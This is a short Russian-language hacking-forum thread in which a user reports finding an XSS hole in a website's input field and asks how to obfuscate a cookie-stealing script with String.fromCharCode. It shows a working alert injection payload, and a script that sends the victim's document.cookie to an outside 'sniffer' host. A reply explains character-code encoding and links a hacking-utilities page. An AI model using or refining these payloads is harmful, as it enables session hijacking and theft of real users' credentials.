Алерт есть. Как закодироровать сниф в String.fromCharCode.
 

Господа. Помогите пожалуйста.
Долго и упорно искал XSS. И вот наконец результат.
Есть поле. Ввожу туда
";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,84,83))
</SCRIPT>=&{}

пишет XTS - что соответствует 88,84,83.
Хотелось бы туда зарисовать след. текст

<script>img=new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?;"+document.cookie;</script>

Ну тут понятно что я хочу.
И если не трудно расскажите пожалуйста про этот формат String.fromCharCode.

Всем огромное спасибо.

Метод fromCharCode
ASCII Table (7-bit) - таблица ascii кодов, в твоём случае бери столбик Decimal

Идентичная функция есть и в vbscript - Chr()

;)

_http://hack-shop.unifree.ru/utilit.html